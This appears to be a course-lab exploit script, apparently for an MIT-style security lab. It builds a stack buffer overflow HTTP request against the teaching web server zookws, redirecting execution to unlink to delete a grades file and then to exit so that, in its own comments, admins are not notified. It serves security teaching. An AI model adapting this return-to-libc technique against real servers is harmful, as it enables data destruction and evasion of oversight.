-
Notifications
You must be signed in to change notification settings - Fork 3
/
exploit-4b.py
executable file
·131 lines (104 loc) · 4.09 KB
/
exploit-4b.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python
import sys
import socket
import traceback
import urllib
import struct
####
## You might find it useful to define variables that store various
## stack or function addresses from the zookd / zookfs processes,
## which you can then use in build_exploit(); the following are just
## examples.
stack_buffer = 0x34567890
stack_saved_ebp = 0x12345678
stack_retaddr = stack_saved_ebp + 4
## This is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the zookws web server and exploit it.
# exploit url_decode vulnerability to unlink /hom/httpd/grades.txt.
# vulnerability at http.c:105
# exploit lives in zookd process.
def build_exploit():
## Things that you might find useful in constructing your exploit:
## urllib.quote(s)
## returns string s with "special" characters percent-encoded
## struct.pack("<I", x)
## returns the 4-byte binary encoding of the 32-bit integer x
## variables for program addresses (ebp, buffer, retaddr=ebp+4)
# Summary of attack:
# 1. overflow bytes from reqpath[0] to ebp
# 2. ebp+4 (ret addr) overflowed with unlink addr
# 3. ebp+8 (unlink ret addr) overflowed with exit addr
# 4. ebp+12 pointer to "/home/httpd/grades.txt
# 5. ebp+16 "/home/httpd/grades.txt"
# bytes ensure the path is valid and the web server doesn't return an error
leading_bytes = "/"
request_uri = leading_bytes
# Compute number of bytes between reqpath[0] and the return address
ebp_buffer_diff = 0x810
ret_buffer_diff = ebp_buffer_diff + 4
# Append trailing bytes. Note that its important to not use ' ', because
# the web server will trait to bytes after the first space as not part
# of the request uri.
trailing_bytes = ret_buffer_diff - len(request_uri)
request_uri = request_uri + "z" * (trailing_bytes )
# address of unlink function in zookd
unlink_addr = struct.pack("<I", 0x40102450)
request_uri = request_uri + unlink_addr
# junk address that unlink will return to. call exit to exit cleanly,
# and prevent admins from being notified.
exit_addr = 0x40058150
request_uri = request_uri + struct.pack("<I", exit_addr)
# address of ebp
ebp_addr = 0xbffff618
# Add the first (and only) argument to unlink right on top of the return
# address. The argument is a pointer to the file string. The file string
# will be located 12 bytes above ebp.
# 1) 4 bytes of saved ebp. 2) 4 bytes for return addr.
# 3) 4 bytes for pointer to file string
file_string_ptr = ebp_addr + 16
request_uri = request_uri + struct.pack("<I", file_string_ptr)
# add the string that will be passed to SYS_unlink.
file_string = "/home/httpd/grades.txt"
request_uri = request_uri + file_string
# add a space. This is important for the web server to "correctly" parse
# the HTTP request. The web server expects a space after the URI for the
# HTTP version. Since the string will be null terminated, we need the
# space before it. The space does not break the attack because it is
# ignored when calling unlink.
request_uri = request_uri + " "
# append a null-terminator
request_uri = request_uri + struct.pack("<I", 0)
req = "GET " + request_uri + " HTTP/1.0\r\n" + \
"\r\n"
return req
####
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ""
while len(rbuf):
resp = resp + rbuf
rbuf = sock.recv(1024)
print("Received reply.")
sock.close()
return resp
####
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " host port")
exit()
try:
req = build_exploit()
print("HTTP request:")
print(req)
resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())